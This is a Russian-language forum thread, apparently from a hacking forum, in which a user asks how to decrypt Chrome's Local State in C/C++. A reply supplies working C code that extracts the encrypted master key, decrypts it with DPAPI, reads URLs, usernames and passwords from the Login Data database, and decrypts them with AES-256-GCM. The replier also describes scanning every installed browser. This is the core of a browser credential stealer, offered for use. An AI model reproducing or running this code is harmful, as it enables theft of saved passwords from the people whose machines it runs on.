Загрузка...

Script
Decipher Local state

Thread in C/C++ created by MarcoRubio Jun 26, 2025. 505 views

  1. MarcoRubio
    MarcoRubio Topic starter Jun 26, 2025 2 Apr 15, 2025
    Я смог расшифровать этот файл на python, но совершенно не понятно как сделать это на C/C++. Ключевой момент где идет шифровка DPAPI, я пытался от имени администратора сначала попробовать - не получилось. В pythone использовался pypsexec, но действовал от SYSTEM. На C мне получилось дойти до того что я извлек app_bound_key, декодировал его в base64. Что можно предпринять?
     
  2. stadia_raspada
    Расшифровка при помощи DPAPI это старый метод[IMG]
    The post was merged to previous Aug 27, 2025
    Расшифровка при помощи DPAPI это старый метод. Для прямой расшифровки необходима версия chrome >127. В противном случае, там используется NCrypt и ABE. Сам по себе Local State это .json, который хранит мастер-ключ - т.е. это ключ для расшифровки паролей. Сам этот мастер-ключ тоже зашифрован. При помощи CJson можно извлечь из Local State зашифрованный maser-key закодированный в Base64. Ещё раз, внимательно: ключ закодирован в base64, значит декодировав мы получим бинарный шифр, который уже теперь надо расшировать при помощи cryptopai.h от windows:

    C
    unsigned char *GrabGoogleMasterKey(const char *localstate_path, int *key_len) {
    char *localstate_raw = FileToBuffer(localstate_path);
    if (!localstate_raw) return NULL;
    cJSON *localstate = cJSON_Parse(localstate_raw);
    free(localstate_raw);
    if (!localstate) return NULL;
    cJSON *os_crypt = cJSON_GetObjectItem(localstate, "os_crypt");
    if (!cJSON_IsObject(os_crypt)) {
    cJSON_Delete(localstate);
    return NULL;
    }
    cJSON *encrypted_key_item = cJSON_GetObjectItem(os_crypt, "encrypted_key");
    if (!cJSON_IsString(encrypted_key_item)) {
    cJSON_Delete(localstate);
    return NULL;
    }
    unsigned char *decoded = Base64Decode(encrypted_key_item->valuestring, key_len);
    cJSON_Delete(localstate);
    return decoded;
    }
    Эта функция возвращает зашифрованный мастер-ключ! Напечатай его в ASCII через printf() и посмотри из чего он состоит. Ты должен получить строку типо:
    v10R\#]-ih!))p1[619...
    Обрати внимание на первые три байта. Это версия алгоритма шифрования.
    v10 — старый формат: DPAPI.
    v11 — новый формат: Ncrypt
    Остальные байты - это сам шифрованный ключ.
    Расшифровать v10 можно примерно так:

    C
    char* DPAPI_Decrypt(char *encrypted_key, int len, int *out_len) {
    DATA_BLOB inputBlob = {.pbData = (BYTE*)encrypted_key, .cbData = len};
    DATA_BLOB outputBlob;
    if (!CryptUnprotectData(&inputBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, &outputBlob)) {
    return NULL;
    }
    char *res = malloc(outputBlob.cbData);
    memcpy(res, outputBlob.pbData, outputBlob.cbData);
    *out_len = outputBlob.cbData;
    LocalFree(outputBlob.pbData);
    return res;
    }
    Понадобится заголовочник #include <wincrypt.h>

    Далее, при помощи полученного ключа уже можно расшифровывать куки/пароли. Пароли находятся в файле Default/Login Data - это sqlite3 база данных. Тут также находятся логины, и URL, причём в незашифрованном виде. Извлечь всё это можно следующим образом:

    C
            char tmp_path[MAXPATHLEN];
    snprintf(tmp_path, sizeof(tmp_path), "%s_copy", path);
    uCopyFile(path, tmp_path);
    sqlite3 *db;
    sqlite3_stmt *stmt;
    const char *sql_query_takeall = "SELECT origin_url, username_value, password_value FROM logins";
    if (SQLITE_OK != sqlite3_open_v2(tmp_path, &db,
    SQLITE_OPEN_READONLY | SQLITE_OPEN_NOMUTEX | SQLITE_OPEN_URI, NULL) ){
    fprintf(stderr, "Can't open DB %s: %s\n", path, sqlite3_errmsg(db));
    return;
    }
    if (sqlite3_prepare_v2(db, sql_query_takeall, -1, &stmt, NULL) != SQLITE_OK) {
    fprintf(stderr,"Failed to fetch data: %s\n", sqlite3_errmsg(db));
    return;
    }
    while (sqlite3_step(stmt) == SQLITE_ROW) {
    const char *origin_url = sqlite3_column_text(stmt, 0);
    const char *username = sqlite3_column_text(stmt, 1);
    const char *cipher = sqlite3_column_blob(stmt, 2);
    int cipher_len = sqlite3_column_bytes(stmt, 2);
    char *password = NULL;
    password = DecryptAES256GCMv10(cipher, masterkey, keylen, cipher_len);
    printf("URL: %s\nUsername: %s\nPassword: %s\n", origin_url, username, password);
    free(password);
    printf("Encrypted password (%d bytes):\t ", cipher_len);
    for(int i=0; i<cipher_len; i++)
    printf("%02X", ((unsigned char*)cipher)[i]);
    printf("\n");
    printf("*ASCII:\t %s\n",cipher);
    printf("------------------------------------------\n");
    }
    remove(tmp_path);
    sqlite3_finalize(stmt);
    sqlite3_close(db);
    Имейте ввиду, что пароль также имеет несколько алгоритмов для расшифровки. В данном случае это v10 то есть простой AES, который вы можете расшифровать при помощи OpenSSL .
    Сама функция для расшифровки выглядит собственно так:

    C
    #define AES_VER 3
    #define AESGCM_IV 12
    #define AESGCM_TAG 16

    char* DecryptAES256GCMv10(const unsigned char *cipher, const unsigned char *key, int keylen, int cipher_len) {
    if (cipher_len < AES_VER + AESGCM_IV + AESGCM_TAG) {
    fprintf(stderr, "Cipher too short (%d bytes)\n", cipher_len);
    return NULL;
    }
    const unsigned char *iv = cipher + AES_VER ;
    const unsigned char *ct = cipher + AES_VER + AESGCM_IV;
    int ct_len = cipher_len - AES_VER - AESGCM_IV - AESGCM_TAG;
    const unsigned char *tag = cipher + cipher_len - AESGCM_TAG;
    if (keylen != 32) {
    fprintf(stderr, "WARNING: master_key length = %d (should be 32)\n", keylen);
    return NULL;
    }
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    if (!ctx) {
    fprintf(stderr, "EVP_CIPHER_CTX_new failed\n");
    return NULL;
    }
    unsigned char *out = malloc(ct_len + 1);
    if (!out) {
    EVP_CIPHER_CTX_free(ctx);
    return NULL;
    }
    int len = 0, total_len = 0;
    if (!EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL)) {
    fprintf(stderr, "DecryptInit failed\n");
    goto err;
    }
    if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, AESGCM_IV, NULL)) {
    fprintf(stderr, "Set IV length failed\n");
    goto err;
    }
    if (!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv)) {
    fprintf(stderr, "Set key/IV failed\n");
    goto err;
    }
    if (!EVP_DecryptUpdate(ctx, out, &len, ct, ct_len)) {
    fprintf(stderr, "DecryptUpdate failed\n");
    goto err;
    }
    total_len = len;
    if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, AESGCM_TAG, (void*)tag)) {
    fprintf(stderr, "Set TAG failed\n");
    goto err;
    }
    if (!EVP_DecryptFinal_ex(ctx, out + len, &len)) {
    fprintf(stderr, "DecryptFinal failed (tag mismatch)\n");
    goto err;
    }
    total_len += len;
    out[total_len] = '\0';
    EVP_CIPHER_CTX_free(ctx);
    return (char*)out;
    err:
    EVP_CIPHER_CTX_free(ctx);
    free(out);
    return NULL;
    }
    Собственно, первые 3 байта это сигнатура шифрования, следующие 12 это вектор инициализации, остальное - тэг. Ключ для расшифровки - ваш мастер-ключ из Local State.

    Результат на следующем скриншоте:
    [IMG]
    В моём случае код также проивзодит поиск всех браузеров. Как видно, новые браузеры типо Chrome и Edge он расшировать не в состоянии. Там используется более сложная защита. Но старые обновления до 2024 года расшифровывает (Chromium)
     
Loading...